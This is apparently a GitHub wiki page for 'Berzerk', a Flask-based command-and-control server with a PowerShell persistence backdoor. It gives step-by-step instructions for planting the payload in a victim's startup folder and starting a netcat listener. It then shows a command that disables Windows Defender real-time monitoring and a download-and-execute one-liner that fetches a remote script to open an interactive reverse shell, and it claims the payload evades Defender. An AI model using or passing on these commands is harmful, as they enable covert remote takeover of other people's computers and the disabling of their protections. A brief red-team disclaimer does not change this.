Skip to content

Home

Jump to bottom
Abhishek Sharma edited this page Apr 9, 2024 · 8 revisions

Welcome to the Berzerk wiki!

Berzerk is a post exploitation persistence maintaining backdoor along with C2 (COMMAND & CONTROL ) server developed using python's Flask framework. Developed to be used only in post exploitation scenarios. The Power-shell payload berzerk.ps1 provided is currently undetectable by the latest updated version of windows defender on windows 11 as of 8th April 2024 22:00 IST if used with proper obfuscation techniques.

Instructions to run the non-interactive shell

  • Pre-requisites:

    • Latest version of python and flask. (KALI LINUX is required to use the interactive shell feature)

  • Setup on the victim PC

    • Transfer the berzerk.ps1 into the victim PC and preferably store it in the startup folder for future easy access, Change the IP and PORT as per your values

  • Setup on attacker PC

    • Open your server in a terminal, go in the folder where the repository is cloned.
    • Configure the server IP and Port for the flask server in both berzerk.py and detect_users.py if required.

  • Run the attack

    • Go to your terminal, and run:
      python detect_users.py

    You will see the available users with backdoor established. Make a note of the Hostname that you want to connect to.

    • To pop into the shell of the desired user, run the following command: python berzerk.py <HOSTNAME>

Instructions to run the Interactive shell

As the tool has been developed for post-exploitation red team purposes we assume you already have the admin access before you setup the initial payload and you have spawned a non-interactive shell with admin rights.

For spawning an interactive shell we'll use the payload berzerker.ps1 which is a combination of Power-shell and C#.

  • We'll use netcat for listening to the incoming connection. Open a terminal on your Kali machine and run stty raw -echo; (stty size; cat) | nc -lvnp PORT. This will start up your listener.


  • In the backdoor shell execute the following command to turn off windows defender Set-MpPreference -DisableRealtimeMonitoring $true. This will turn the windows defender off while we setup our next payload.

  • Now execute the following command IEX(IWR https://raw.githubusercontent.com/anonymous300502/Berzerk/main/berzerker.ps1 -UseBasicParsing); Invoke-dopeboiShell IP PORT. This will download the payload and run it and you'll receive an interactive shell in your terminal where netcat was listening.


  • INTERACTIVE SHELL :



* INTERACTIVE SHELL WITHIN CMD:


PLEASE USE THIS ONLY WITH PRIOR PERMISSION OR FOR RED TEAM PURPOSES ONLY, THANK YOU :)



Clone this wiki locally